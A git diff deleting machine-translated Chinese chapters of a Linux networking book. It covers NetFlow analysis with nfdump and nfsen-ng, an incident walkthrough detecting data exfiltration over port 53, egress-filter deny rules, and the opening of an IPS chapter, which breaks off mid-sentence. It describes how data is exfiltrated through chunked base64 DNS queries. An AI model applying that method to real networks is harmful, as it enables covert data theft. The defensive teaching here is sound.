IP:Port`、`Dst IP:Port`、`Out Pkt`、`In Pkt`、`Out Byte`、`In Byte`和`Flows`。 注意,在某些情况下,我们有一个该时间段的活动流,但没有数据输入或输出: - -```sh -$ nfdump -b -R /var/cache/nfdump | head | tr -s " " | cut -d " " -f 4,5,6,7,8,10,12,13 | grep -v Port -UDP 192.168.122.174:46053 <-> 192.168.122.5:161 0 0 1 -TCP 52.21.117.50:443 <-> 99.254.226.217:44385 20 1120 2 -TCP 172.217.1.3:443 <-> 99.254.226.217:18243 0 0 1 -TCP 192.168.122.181:57664 <-> 204.154.111.113:443 0 0 1 -TCP 192.168.122.201:27517 <-> 52.96.163.242:443 60 4980 4 -UDP 8.8.8.8:53 <-> 192.168.122.151:64695 0 0 1 -TCP 23.213.188.93:443 <-> 99.254.226.217:39845 0 0 1 -TCP 18.214.243.14:443 <-> 192.168.122.151:60020 20 1040 2 -TCP 40.100.163.178:443 <-> 99.254.226.217:58221 10 2280 2 -``` - -让我们看看在的流量仅仅来自一个 IP 地址: - -```sh -$ nfdump -b -s ip:192.168.122.181 -R /var/cache/nfdump | grep -v 1970 -Command line switch -s overwrites -a -Top 10 IP Addr ordered by -: -Date first seen Duration Proto IP Addr Flows(%) Packets(%) Bytes(%) pps bps bpp -2021-06-21 21:42:19.468 256.124 UDP 34.239.237.116 2( 0.0) 20( 0.0) 1520( 0.0) 0 47 76 -2021-06-21 21:29:40.058 90.112 TCP 204.79.197.219 4( 0.1) 80( 0.0) 12000( 0.0) 0 1065 150 -2021-06-21 21:31:15.651 111.879 TCP 204.79.197.204 6( 0.1) 110( 0.0) 44040( 0.0) 0 3149 400 -2021-06-21 21:39:42.414 58.455 TCP 204.79.197.203 7( 0.1) 150( 0.0) 92530( 0.0) 2 12663 616 -2021-06-21 21:28:21.682 1046.074 TCP 204.79.197.200 18( 0.2) 570( 0.1) 288990( 0.1) 0 2210 507 -2021-06-21 21:31:24.158 53.392 TCP 209.191.163.209 13( 0.2) 180( 0.0) 86080( 0.0) 3 12897 478 -``` - -数据被包装,但您可以看到这是如何变得越来越有用。 它不是一个完整的包捕获,但在许多天,它是您可能需要的所有包捕获信息! - -`–s`(statistics)参数非常有用,因为您可以在扩展元组中查询任何可能的 netflow 收集的信息。 `-A`允许您聚合相同的扩展信息,而`–a`只聚合基本的 5 元组。 注意,当您设置了`–b`时,您不能在源或目标 IP 上聚合(因为`–b`已经聚合了这两个 IP)。 - -通常,你需要收集一个给定时间窗口的信息; 也就是说,当出现问题或症状时。 在这些情况下,`-t`(timewin)是你的朋友-让我们看看 21:31 和 21:32 之间,仍然只是为了那个 IP 地址。 再次注意,你会想要修改你的日期和交通模式: - -```sh -$ nfdump -b -s ip:192.168.122.181 -t 2021/06/21.21:31:00-2021/06/21.21:32:59 -R /var/cache/nfdump -Command line switch -s overwrites -a -Top 10 IP Addr ordered by -: -Date first seen Duration Proto IP Addr Flows(%) Packets(%) Bytes(%) pps bps bpp -2021-06-21 21:32:43.075 0.251 IGMP 224.0.0.22 1( 0.1) 20( 0.0) 920( 0.0) 79 29322 46 -2021-06-21 21:32:09.931 0.000 UDP 239.255.255.251 1( 0.1) 10( 0.0) 640( 0.0) 0 0 64 -2021-06-21 21:31:07.030 47.295 UDP 239.255.255.250 4( 0.3) 60( 0.1) 18790( 0.0) 1 3178 313 -2021-06-21 21:31:15.651 0.080 TCP 204.79.197.204 3( 0.2) 60( 0.1) 21220( 0.0) 750 2.1 M 353 -2021-06-21 21:31:24.158 53.392 TCP 209.191.163.209 13( 0.9) 180( 0.2) 86080( 0.1) 3 12897 478 -2021-06-21 21:31:09.920 0.252 TCP 52.207.151.151 4( 0.3) 170( 0.2) 142280( 0.2) 674 4.5 M 836 -2021-06-21 21:32:12.799 11.421 TCP 52.95.145.171 7( 0.5) 110( 0.1) 22390( 0.0) 9 15683 203 -2021-06-21 21:31:53.512 0.054 TCP 162.159.136.232 4( 0.3) 50( 0.1) 5250( 0.0) 925 777777 105 -2021-06-21 21:31:11.890 51.148 TCP 209.15.45.65 5( 0.4) 60( 0.1) 32020( 0.1) 1 5008 533 -2021-06-21 21:31:07.531 69.964 TCP 69.175.41.15 22( 1.6) 460( 0.5) 222720( 0.4) 6 25466 484 -Summary: total flows: 1401, total bytes: 58.9 M, total packets: 85200, avg bps: 4.0 M, avg pps: 716, avg bpp: 691 -Time window: 2021-06-21 21:26:17 - 2021-06-21 21:58:40 -Total flows processed: 8052, Blocks skipped: 0, Bytes read: 516768 -Sys: 0.003s flows/second: 2153517.0 Wall: 0.002s flows/second: 3454311.5 -``` - -在一个命令行中,我们总结了 2 分钟内进出一个主机的所有流量! - -在基本功能正常工作之后,让我们为收集器安装 web 界面。 这就是 NetFlow 数据最常被消耗的方式——协议模式中的异常通常很容易被肉眼看到。 - -下面的说明来自[https://github.com/mbolli/nfsen-ng](https://github.com/mbolli/nfsen-ng)(`nfsen-ng`是正在安装的应用): - -首先,让我们把我们的特权提升到 root -这里几乎所有东西都需要这些权利: - -```sh -sudo su - -``` - -安装我们需要的所有包: - -```sh -apt install apache2 git nfdump pkg-config php7.4 php7.4-dev libapache2-mod-php7.4 rrdtool librrd-dev -``` - -启用 Apache 模块: - -```sh -a2enmod rewrite deflate headers expires -``` - -安装`rrd`PHP 库: - -```sh -pecl install rrd -``` - -配置 RRD 库和 PHP: - -```sh -echo "extension=rrd.so" > /etc/php/7.4/mods-available/rrd.ini -phpenmod rrd -``` - -配置虚拟主机,使其可以读取`.htaccess`文件。 编辑`/etc/apache2/apache2.conf`文件,编辑`/var/www`部分中的`Allow Override`行: - -```sh - - Options Indexes FollowSymLinks - AllowOverride All - Require all granted - -``` - -最后,重启 Apache 服务器: - -```sh -systemctl restart apache2 -``` - -现在,我们准备安装`nfsen-ng`并设置文件/目录标志: - -```sh -cd /var/www/html -git clone https://github.com/mbolli/nfsen-ng -chown -R www-data:www-data . -chmod +x nfsen-ng/backend/cli.php -``` - -仍然使用根权限工作,复制默认设置到设置文件: - -```sh -cd /var/www/html/nfsen-ng/backend/settings -cp settings.php.dist settings.php -``` - -编辑结果`settings.php`文件。 - -在`nfdump`部分中,更新以下行以匹配: - -```sh - 'nfdump' => array( - 'profiles-data' => '/var/cache/nfdump/', - 'profile' => '', -``` - -请注意,您可以更改这一点,特别是如果您计划根据`nfdump`文件的日期进行日志旋转,但目前这不在我们的范围内。 - -现在,让我们测试我们的配置(仍然作为根): - -```sh -cd /var/www/html/nfsen-ng/backend -./cli.php -f import -2021-06-22 09:03:35 CLI: Starting import -Resetting existing data... -Processing 2 sources... 0.0% 0/2194 ETC: ???. Elapsed: < 1 sec [> ] -Processing source source1 (1/2)... -Processing 2 sources... 50.0% 1097/2194 ETC: < 1 sec. Elapsed: < 1 sec [===============> ] -Processing source source2 (2/2)... -Processing 2 sources... 100.0% 2194/2194 ETC: < 1 sec. Elapsed: < 1 sec [===============================] -``` - -如果这个进程没有错误,那么您的配置将看起来很好! - -现在,指向您的各种网络设备,将它们的 NetFlow 结果发送到这个主机的 IP 地址,端口`2055/udp`(注意,您可以通过编辑`/etc/nfdump/default.conf`来更改这个侦听端口)。 - -让我们收集一些数据。 您可以通过观察目标目录中的文件大小来验证它是否正常工作。 一个“空”文件是 276 字节,但是一旦开始接收数据,您应该开始看到更大的文件。 - -现在,浏览您的服务器。 因为我们没有在 apache 中做任何花哨的事情,你的 URL 将如下: - -```sh -http:///nfsen-ng/frontend/ -``` - -现在,让我们看看图形方面的东西。 浏览到您的服务器 IP 地址- URL 应该类似于[http://192.168.122.113/nfsen-ng/frontend/](http://192.168.122.113/nfsen-ng/frontend/)。 当然,您可以通过将 Apache 配置为重新指向主页来简化这个 URL。 - -你的显示现在应该看起来像这样(你的数据值将不同): - -![Figure 12.23 – Basic flow data in the graph display with display/filter controls in NFSen ](img/B16336_12_023.jpg) - -图 12.23 -在 NFSen 中使用显示/过滤控件显示图形中的基本流量数据 - -一个好的方法是来选择一个合理的时间尺度,然后使用滑块根据需要增大或缩小窗口。 在本例中,我们从一个 24 小时的图表开始,最后显示大约 6 小时。 - -该显示通常会突出显示可能需要关注的时间—您可以“放大”该图表以获得更多细节。 - -下一站将是**Flows**按钮(在显示器的右上方)。 这里一组好的选择将是一个合理的开始窗口。 接下来,选择各种聚合。 - -通常,您需要协议聚合与目的端口聚合。 接下来,您通常希望通过源 IP 和目标 IP 聚合 IP。 为确切的时间窗口添加 NFDUMP 过滤器通常也很有帮助。 如果您可以限制您的显示器为短-几分钟,如果可能,您将从这些显示器中获得最大的价值: - -![Figure 12.24 – Flow display controls for aggregation and filtering in NFSen ](img/B16336_12_024.jpg) - -图 12.24 -流显示控制聚集和过滤在 NFSen - -最终的选择将由您试图解决的问题决定,并且可能需要几次尝试才能得到最终诊断所需的显示。 - -当您的选择完成后,选择**过程数据**在屏幕下方获得您的结果: - -![Figure 12.25 – Filter results in NFSen ](img/B16336_12_025.jpg) - -图 12.25 - NFSen 中的过滤结果 - -您可能希望到将其导出到 CSV,以便在电子表格中进一步操作您的数据。 - -在真实事件中,这看起来像什么? 让我们打开默认窗口,在那里我们将注意到一个可能可疑的流量“尖峰”。 我们也可能会得到这个时间段的帮助台或桌面团队,谁可能有法医的信息,一个 IPS 事件(见[*第十三章*](13.html#_idTextAnchor236),*入侵预防系统在 Linux 上*),或一个事件从桌面应用或反恶意软件保护的应用。 在这张每日视图中,我们可以看到在下午 2:30 之前出现了一个可疑的高峰 注意,我们使用滑块放大感兴趣的时间窗口。 另外,请注意,我们正在查看“流量”或“字节”视图-数据外滤通常只作为一个或两个流发生,所以这些攻击通常会在默认显示中突出: - -![Figure 12.26 – Unusual traffic "peak" discovered ](img/B16336_12_026.jpg) - -图 12.26 -发现异常流量“峰值 - -让我们将将更改为协议显示,并稍微讨论一下。 在这个显示中,我们已经削减了只显示 UDP 的东西,我们可以看到一些可疑的东西-这个 UDP 流量是不正常的组织: - -![Figure 12.27 – Display adjustments in the protocol display, showing UDP only ](img/B16336_12_027.jpg) - -图 12.27 -在协议显示中显示调整,只显示 UDP - -由于和在 14:20 出现了可疑的流量高峰,让我们深入挖掘一下。 让我们添加一个 nfdump 过滤器来查看 UDP,但是取出所有我们在内部 DNS 服务器上配置的 DNS 转发器的请求: - -![Figure 12.28 – UDP search results – removing legitimate DNS traffic ](img/B16336_12_028.jpg) - -图 12.28 - UDP 搜索结果-删除合法的 DNS 流量 - -现在,深入挖掘,让我们看看这个可疑 IP 地址: - -![Figure 12.29 – Filtering for a suspect IP address ](img/B16336_12_029.jpg) - -图 12.29 -过滤可疑 IP 地址 - -这给了我们以下的结果,显示了在防火墙上 NAT 转换前后相同的传输,除了这一次大的数据传输之外没有其他流量: - -![Figure 12.30 – Suspect traffic before and after NAT on the firewall ](img/B16336_12_030.jpg) - -图 12.30 -防火墙上 NAT 转换前后的可疑流量 - -查看**Bytes**列中的总计,以及,知道目的地地址不是 DNS 服务器,这看起来确实像一个数据抽取的实例。 将数据抽取埋入通常被允许但没有被很好检查的协议中是一件很常见的事情。 通常,这是不同端口号上的一个 TFTP、FTP 或 SCP 副本——在本例中,这是`53/udp`,我们知道它通常用于 DNS。 - -使用 DNS,您甚至可以使用有效的查询来抽取数据—首先,使用 base64 对数据进行编码,然后以已知的“块”大小对结果文本进行连续的“A”记录查询。 然后接收服务器重新组装数据并将其解码为原始的二进制格式。 如果担心数据包顺序混乱,您甚至可以在传输中编码一个序列号。 - -现在我们已经发现了这种攻击,我们将如何在网络级别上防御这种攻击呢? - -一个好的起点是为出站流量提供一个合理的访问列表,通常称为出口过滤器。 它是这样工作的: - -* 允许我们的 DNS 服务器上的`53/udp`和`tcp`到其已知的转发 ip。 -* 拒绝所有其他`53/udp`和`tcp`,并将该流量记录为警报。 -* 通过协议和端口允许`ssh`,`scp`,`ftp`和其他已知的流量到已知的目标主机。 -* 拒绝那些协议到所有其他主机,并记录这作为一个警报。 -* 允许 HTTP 和 HTTPS 访问任何 IP(但在另一个保护层上,可能是声誉过滤或内容控制)。 -* 拒绝所有其他流量,并将该流量记录为警报。 - -关键是,总是会有一个“下一个攻击”,但日志和警报袭击至少你知道通常会给你一些警告攻击开始时,经常够你采取行动,防止的攻击者成功的最终目标。 - -此时,您已经熟悉了使用 NFDUMP 和 NFSEN 组合。 但是你还可以使用其他开源 NetFlow Collector 应用吗? - -### 其他开源 NetFlow 替代方案 - -nProbe 是由带我们去 ntop 的好人们写的,在[https://www.ntop.org/products/netflow/nprobe/#](https://www.ntop.org/products/netflow/nprobe/#)主持。 这允许您在任何主机上安装 NetFlow 收集器。 ntop 工具([https://www.ntop.org/products/traffic-analysis/ntop/](https://www.ntop.org/products/traffic-analysis/ntop/))是他们的收集器,它在 NetFlow 流行之前就给我们带来了很多 NetFlow 的好处,但是使用了数据包捕获和分析方法。 它已经扩展到支持所有版本的 NetFlow 和 IPFIX。 选择 ntop 最吸引人的因素是,它是一个单独的安装,所有的东西都打包在里面——大多数繁琐的配置都被处理了。 它还提供了关于底层应用的更详细的数据,甚至是在初始图形屏幕上。 缺点是,没有命令行工具集; 它是一个“一体化”的应用,提供了一个 web/图形界面。 ntop 工具套件可以免费下载。 在这个免费的层面上,它通过论坛和“最佳努力”邮件列表享受“社区支持”。 - -**System for Internet Level Knowledge**(**SILK**)是中最古老的流程收集工具之一,但它仍然支持所有较新的协议。 它是由 CERT 的网络态势感知组开发的,文档和下载在这里:[https://tools.netsa.cert.org/silk/](https://tools.netsa.cert.org/silk/)。 SILK 是一种免费工具,不提供任何商业产品。 - -说到这个,这个领域的商业产品怎么样? - -### 商业产品 - -几乎每个拥有商业网管的供应商都有一个到该网管的流收集模块。 但是,当您深入研究它们的文档时,几乎所有这些工具都会建议您将流收集部署在与 SNMP 和 syslog 功能相同的服务器上。 正如我们前面讨论的,随着流数据量的增长和数据保留长度的增长,流收集服务将会淹没已经很忙的系统。 另外,考虑到大多数流收集服务的数据库密集型特性,通常看到人们必须定期清理数据,作为“当所有其他故障排除失败时”的步骤,以修复损坏的流收集服务器。 在大多数组织中,这些因素会使 NetFlow 或其相关服务迅速转移到它们自己的服务器和数据库中。 - -也就是说,在商业产品中,您经常会看到对应用的“外观和感觉”进行更多的工作。 例如,当为 NetFlow 添加一个设备接口时,接口名称通常会从接口的`description`值中读取,并且图形的最大带宽最初将从接口的吞吐量值或路由器的“带宽”度量(如果设置了)中设置。 图通常包括应用名称和工作站名称,甚至用户 id。 图表还将从一开始就深入到目标端口值和数据速率——因为这是您通常希望结束的地方。 总的来说,大多数商业产品的设置都要容易得多,无论是在初始应用中还是在添加设备时。 - -# 总结 - -此时,您应该意识到可以从各种系统的日志中收集大量有用的数据,以及如何使用命令行工具来“挖掘”这些数据,以找到可以帮助您解决特定问题的信息。 日志警报的使用也应该很熟悉,它允许您在问题的早期阶段主动发送警报。 - -然后介绍了 Dshield 项目。 我们欢迎您的参与,但即使您不提供数据,它也可以是一个快速“互联网天气报告”的宝贵资源,以及帮助定义“互联网气候”到恶意流量(按端口和协议)的趋势。 - -您现在应该熟悉 SNMP 的工作原理,以及如何使用基于 SNMP 的 NMS 来管理网络设备甚至 Linux 或 Windows 服务器上的性能指标。 我们在示例中使用了 LibreNMS,但是其方法甚至实现在您使用的几乎任何 NMS 上都非常相似。 - -在更高级的级别上,您应该非常熟悉 NetFlow 协议,并在网络设备和 Linux 收集器上配置它。 在本章中,我们使用 NetFlow 作为检测工具,对网络流量进行高级取证,发现可疑流量,最终发现恶意数据泄露事件。 - -在下一章中,我们将探讨**入侵防御系统**(**IPS**),它将基于本书几章的内容来寻找并经常阻止恶意网络活动。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 为什么启用 SNMP 的读写团体访问是一个坏主意? -2. 使用 Syslog 有哪些风险? -3. NetFlow 也是一个明文协议。 这样做有什么风险? - -# 进一步阅读 - -有关本章内容的更多信息,请查看以下资源: - -* 处理 Syslog 数据的方法: - * [https://isc.sans.edu/diary/Syslog+Skeet+Shooting+-+Targetting+Real+Problems+in+Event+Logs/19449](https://isc.sans.edu/diary/Syslog+Skeet+Shooting+-+Targetting+Real+Problems+in+Event+Logs/19449) - * [https://isc.sans.edu/forums/diary/Finding+the+Clowns+on+the+Syslog+Carousel/18373/](https://isc.sans.edu/forums/diary/Finding+the+Clowns+on+the+Syslog+Carousel/18373/) -* 斯沃琪手册页: - * [http://manpages.ubuntu.com/manpages/bionic/man1/swatchdog.1p.html](http://manpages.ubuntu.com/manpages/bionic/man1/swatchdog.1p.html) - * [https://linux.die.net/man/1/swatch](https://linux.die.net/man/1/swatch) -* 斯沃琪主页: - * [https://github.com/ToddAtkins/swatchdog](https://github.com/ToddAtkins/swatchdog) - * [https://sourceforge.net/projects/swatch/](https://sourceforge.net/projects/swatch/) -* 各种正则表达式备忘单: - * [https://www.rexegg.com/regex-quickstart.html](https://www.rexegg.com/regex-quickstart.html) - * [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Cheatsheet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Cheatsheet) - * [https://www.sans.org/security-resources/posters/dfir/hex-regex-forensics-cheat-sheet-345](https://www.sans.org/security-resources/posters/dfir/hex-regex-forensics-cheat-sheet-345) -* 在线正则表达式“建设者”: - * [https://regexr.com/](https://regexr.com/) - * https://gchq.github.io/CyberChef/配方= Regular_expression(用户定义的% 20,”,真的,真的,假的,假的,假的,假的,“突出% 20 场比赛”)输入=搞笑 -* 出口过滤器:[https://isc.sans.edu/forums/diary/Egress+Filtering+What+do+we+have+a+bird+problem/18379/](https://isc.sans.edu/forums/diary/Egress+Filtering+What+do+we+have+a+bird+problem/18379/) -* 相关的 rfc: - * **Syslog**:[https://datatracker.ietf.org/doc/html/rfc5424](https://datatracker.ietf.org/doc/html/rfc5424) - * SNMP: - 1. [https://datatracker.ietf.org/doc/html/rfc3411](https://datatracker.ietf.org/doc/html/rfc3411) - 2. [https://datatracker.ietf.org/doc/html/rfc3412](https://datatracker.ietf.org/doc/html/rfc3412) - 3. [https://datatracker.ietf.org/doc/html/rfc3413](https://datatracker.ietf.org/doc/html/rfc3413) - 4. [https://datatracker.ietf.org/doc/html/rfc3415](https://datatracker.ietf.org/doc/html/rfc3415) - 5. [https://datatracker.ietf.org/doc/html/rfc3416](https://datatracker.ietf.org/doc/html/rfc3416) - 6. [https://datatracker.ietf.org/doc/html/rfc3417](https://datatracker.ietf.org/doc/html/rfc3417) - 7. [https://datatracker.ietf.org/doc/html/rfc3418](https://datatracker.ietf.org/doc/html/rfc3418) - * **SNMP MIB II**:[https://datatracker.ietf.org/doc/html/rfc1213](https://datatracker.ietf.org/doc/html/rfc1213) - * **SNMPv3:** - 1. [https://datatracker.ietf.org/doc/html/rfc3414](https://datatracker.ietf.org/doc/html/rfc3414) - 2. [https://datatracker.ietf.org/doc/html/rfc6353](https://datatracker.ietf.org/doc/html/rfc6353) - * **NetFlow**:[https://datatracker.ietf.org/doc/html/rfc3954.html](https://datatracker.ietf.org/doc/html/rfc3954.html) - * **sFlow**:[https://datatracker.ietf.org/doc/html/rfc3176](https://datatracker.ietf.org/doc/html/rfc3176) - * **IPFIX**:[https://datatracker.ietf.org/doc/html/rfc7011](https://datatracker.ietf.org/doc/html/rfc7011) - * **SNMP oid for 各个供应商**:参考您的供应商文档; 这里列出了一些您经常看到的 oid。 - -## 常用的 SNMP oid - -* 监控路由器上的 CPU:`1.3.6.1.4.1.9.2.1.58.0` -* 监控路由器的内存:`1.3.6.1.4.1.9.9.48.1.1.1.6.1` -* **ASA 防火墙:** - * 系统:`1.3.6.1.2.1.1` - * 接口:`1.3.6.1.2.1.2` - * Ip:`1.3.6.1.2.1.4` - * 记忆:`1.3.6.1.2.1.4.1.9.9.48` - * Cpu:`1.3.6.1.2.1.4.1.9.9.109` - * 防火墙:`1.3.6.1.2.1.4.1.9.9.147` - * 缓冲液:`1.3.6.1.2.1.4.1.9.9.147.1.2.2.1` - * 连接:`1.3.6.1.2.1.4.1.9.9.147.1.2.2.2` - * SSL 统计:`1.3.6.1.4.1.3076.2.2.26` - * IPSec 统计信息:`1.3.6.1.2.1.4.1.9.9.171` - * 远程访问统计:`1.3.6.1.2.1.4.1.9.9.392` - * FIPS 统计:`1.3.6.1.2.1.4.1.9.9.999999` - * 在 PIX/ASA 防火墙活动连接:`1.3.6.1.4.1.9.9.147.1.2.2.2.1.5.40.7` - * 当前活跃的 IPsec phase 2 隧道总数:`1.3.6.1.4.1.9.9.171.1.3.1.1.0` - -您将需要以下 mib: - -* If-mib, rfc1213-mib, cisco-memory-poolmib, cisco-process-mib, entity-mib, cisco-smi, cisco-firewall-mib。 ASA 还增加了 CISCO-IPSEC-FLOW-MONITOR-MIB、CISCO-FIPS-STAT-MIB 和 ALTIGA-SSL-STATS-MIB。 -* 可堆叠开关序列号:`1.3.6.1.2.1.47.1.1.1.1.11.1` -* 可堆叠交换机的 IOS 版本:`1.3.6.1.2.1.47.1.1.1.1.9.1` -* 路由器上的 ARP 缓存:`1.3.6.1.2.1.3.1.1.2` -* 接口最近状态变化:`1.3.6.1.2.1.2.2.1.9`.【接口编号】******** \ No newline at end of file diff --git a/docs/linux-net-prof/13.md b/docs/linux-net-prof/13.md deleted file mode 100644 index 6c8ed3b2..00000000 --- a/docs/linux-net-prof/13.md +++ /dev/null @@ -1,714 +0,0 @@ -# 十三、Linux 上的入侵防御系统 - -在本章中,我们将构建包捕获和日志记录来探索 Linux 平台上的入侵防御选项。 一个**入侵防御系统**(**IPS**)所做的和它听起来一样——它监视流量,并对可疑或已知的恶意流量发出警报或阻止。 这可以通过多种方式来实现,具体取决于您要监视的流量。 - -特别地,我们将涵盖以下主题: - -* 什么是 IPS? -* 架构/ ip 位置 -* Linux 的经典 IPS 解决方案- Snort 和 Suricata -* IPS 逃避技术 -* Suricata IPS 的例子 -* 构建 IPS 规则 -* 被动流量监控 -* Zeek 示例-收集网络元数据 - -让我们开始吧! - -# 技术要求 - -在本章的例子中,我们将使用预包装的虚拟机,基于**Suricata-Elasticsearch-Logstash-Kibana-Scurius**(**SELKS**)或 Security Onion(两种不同的预包装 Linux 发行版)。 数据包捕获的例子中,ip 解决方案通常对捕获流量经营,所以你可能需要参考[*第 11 章*](11.html#_idTextAnchor192),【显示】数据包捕获和分析在 Linux 中,以确保你有一个适当的跨度端口配置。 更常见,ip 解决方案操作的数据包流,通常与一些解密的功能,所以,你可能会发现自己比较建筑更多我们的负载平衡器的例子从[*第十章【病人】*](10.html#_idTextAnchor170),*负载均衡器 Linux*服务。 - -由于 IPS 安装经常更改,这反映在这两个发行版的安装上。 因此,我们不会在本章中详细介绍安装包等内容,所以无论您想在实验室中探索哪种解决方案,请参考在线安装。 或者,像往常一样,你可以选择在我们继续阅读这一章的时候跟随我们。 虽然您可能想要实现本章将要讨论的一些工具,但它们大多是比较复杂的—例如,您可能不希望构建一个测试 IPS,除非您接近于构建一个用于生产的 IPS。 - -# 什么是 IPS? - -20 世纪 90 年代,IPS 的前身是入侵检测系统。 从一开始(早在 20 世纪 90 年代)最常用的 IDS/IPS 产品就是 Snort,它仍然是一种产品(开源的和商业化的),许多其他现代 IPS 产品现在都基于它。 - -IPS 会对已知的攻击行为进行监视,并对其进行阻断。 当然,这一过程也存在一些缺陷: - -* *枚举不良*是一个坚实的亏损命题,这是反病毒行业早就意识到的。 无论您列举的签名模式是什么,攻击者都可以通过很小的修改装载相同的攻击,以逃避基于签名的检测。 -* 误报是这些产品的一个里程碑。 如果没有正确配置,签名很容易错误地将正常流量标记为恶意流量并阻止它。 -* 另一方面,如果配置过于宽松,很容易不发出警报或阻止攻击流量。 - -如您所见,部署 IPS 通常是一项需要频繁修补的平衡工作。 幸运的是,现代 IPS 系统大多数都有很好的默认设置,可以阻止误报的已知攻击的合理部分。 - -在为您的组织调整规则时,您通常会看到每个规则都有一个严重性评级,它可以指示相关攻击的严重性。 规则也将有一个保真度评级,它告诉您该规则在检测攻击方面有多“可靠”,即该规则在正常流量中错误触发的可能性有多大。 您通常可以使用这两个评级来决定在您的情况下启用哪些规则。 - -既然我们已经提供了一些关于 IPS 解决方案的背景知识,那么让我们看看您可能希望将 IPS 插入到数据中心的什么位置。 - -# 架构选项——IPS 适合你的数据中心的什么位置? - -应该在数据中心中放置 IPS 的位置是一个重要的决策,因此我们将在提供 IPS/IDS 历史记录的同时讨论这个决策。 - -在过去,数据中心被配置为“坚硬的外壳,柔软的咀嚼中心”架构。 换句话说,防护措施集中在外围,以防止外部攻击。 内部系统大多是可信的(通常是太可信了)。 - -这将 IDS 置于外围,通常位于 SPAN 端口或网络水龙头上。 如果你检查水龙头选项,我们讨论了在[*第 11 章*](11.html#_idTextAnchor192),*数据包捕获和分析在 Linux 中*,如果部署这种方式,它通常是一个单向的自来水,电阻止 id 发送流量。 这是为了将 IDS 本身受到威胁的可能性降到最低。 - -第二个受信任的接口将用于管理 IDS。 - -这个配置最终进化到包含 id 发送一个的能力**RST**(**TCP 重置)包攻击者,后卫,或双方终止任何攻击流量与极端偏见,如下图所示:** - -![Figure 13.1 – IPS located outside the firewall, SPAN port for traffic collection, and a RESET packet to block detected attacks](img/B16336_13_001.jpg) - -图 13.1 - IPS 位于防火墙外,使用 SPAN 端口采集流量,并发送 RESET 报文阻断检测到的攻击 - -这种配置随着攻击变得更容易理解和互联网变得更有敌意而演变。 监视互联网上的恶意流量变得低效得多,因为监视外部流量很可能只会产生持续的警报,因为攻击者开始将恶意软件及其相关攻击货币化。 - -您仍然希望监视入站攻击,但是在可能的情况下,您只希望监视可以应用于任何给定主机的攻击。 例如,如果您的防火墙只允许邮件流量入站到邮件服务器,查找并警告针对该主机的基于 web 的攻击就不再有意义了。 有了针对入站攻击的方法,我们现在可以看到 IDS 和 IPS 系统更频繁地部署在防火墙后面。 - -在同一时期,我们开始看到恶意软件在电子邮件中传播得越来越多——尤其是在办公文档中的宏。 有效地保护组织免受这些攻击是很困难的,特别是许多组织已经围绕宏构建了工作流并拒绝禁用它们。 这意味着,从受影响的工作站和服务器查找出站流量变得非常有效,这将表明攻击成功。 通常情况下,这种流量以**命令与控制**(**C2**)的形式出现,在这种情况下,被攻击的工作站会向攻击者发出指令,告诉攻击者下一步该做什么: - -![Figure 13.2 – IPS inside the firewall detecting C2 traffic. Also, some internet "noise" is filtered out](img/B16336_13_002.jpg) - -图 13.2 -防火墙内的 IPS 检测 C2 流量。 此外,一些网络“噪音”也会被过滤掉 - -加密的兴起意味着让 IPS 处于半被动模式的效率越来越低。 为了有效地检测攻击流量,在今天的互联网中,至少有一部分需要解密。 这意味着 IPS 必须排成一行,通常运行在防火墙本身上。 这种架构上的变化伴随着更便宜的处理器,允许人们为防火墙分配更多的 CPU(通常与磁盘和内存匹配)。 - -对于入站流量,这意味着 IPS 现在承载一个与目标服务器匹配的证书。 它在 IPS 上解密,检查可疑内容,然后在得到批准后转发(通常是重新加密)。 这看起来应该很熟悉,因为当我们在第 10 章[](10.html#_idTextAnchor170)*、*Linux 负载均衡器服务*中讨论负载均衡器时,我们讨论了一个非常类似的架构:* - - *![Figure 13.3 – IPS on a perimeter firewall. The web server certificate allows inbound HTTPS decryption](img/B16336_13_003.jpg) - -图 13.3 -外围防火墙上的 IPS web 服务器证书允许入站 HTTPS 解密 - -出站解密有点复杂。 为此,IPS 需要在其上托管一个**证书颁发机构**(**CA**),内部工作站必须信任该机构。 当出站流量传输时,IPS 动态地为目的地创建一个证书,如果用户在浏览器中查看 HTTPS 证书,就会看到这个证书。 - -这允许 IPS 解密出方向的流量。 然后,从 IPS 出站到目的主机的流量将正常进行,使用目标主机上的真实证书进行新的加密会话。 - -当检测到攻击时,任何产生的警报都将包含客户机工作站的 IP 地址。 在 Windows/Active Directory 环境中,IPS 通常会有一个匹配的“代理”来监视每个域控制器的安全日志。 这就允许 IPS 在任何给定时间将 IP 地址与该站点上正在使用的用户帐户名匹配起来。 - -如果 IPS 和防火墙共享一个共同的平台,这也允许防火墙添加规则基于用户帐户,团体、证书信息(包括域名通常目的主机的 FQDN),除了传统的规则基于源和目标 IP 地址、端口,等等: - -![Figure 13.4 – IPS on a perimeter firewall. A CA certificate allows outbound client traffic to be decrypted](img/B16336_13_004.jpg) - -图 13.4 -外围防火墙上的 IPS CA 证书允许对出站客户端流量进行解密 - -一个特殊的 IPS 案例同时增长,称为**Web 应用防火墙**(**WAFs**)。 这些设备主要关注于基于 web 的入站攻击。 由于互联网已经几乎完全转向 HTTPS 内容的网站目的地,这些 WAF 解决方案也需要解密来检测大多数攻击。 - -一开始,这些 WAF 解决方案采取专用设备的形式,但后来已经成为大多数负载平衡器上可用的特性。 最流行的开源 WAF 解决方案包括 ModSecurity(适用于 Apache 和 Nginx),但还有很多其他的解决方案: - -![Figure 13.5 – Inbound IPS (WAF) and decryption hosted on a load balancer, inside the firewall](img/B16336_13_005.jpg) - -图 13.5 -防火墙内负载均衡器上的入站 IPS (WAF)和解密 - -WAF 解决方案的主要问题和我们看到的传统 IPS 的问题是一样的-覆盖要么太激进,要么太松散。 一方面,有一些 WAF 解决方案不需要很多配置——这些解决方案倾向于防止特定的攻击,如跨站点脚本或 SQL 注入,其中语法通常是可预测的,但不能防止其他常见的攻击。 另一方面,我们有需要为应用中的各个字段配置的产品,应用前端有完整的输入验证。 这些产品工作得很好,但在实现更改和新特性时需要与应用相匹配。 如果不这样做,应用可能会被用来保护它的工具破坏。 - -较新的 WAF 选项考虑到这样一个事实:基于云的大型网站通常不使用负载平衡器设备或防火墙。 在某些情况下,它们通过**内容交付网络**(**CDN**)交付内容,但即使它们直接来自较大的云服务提供商,它们也可能在互联网上进行操作。 此外,对于上行链路为 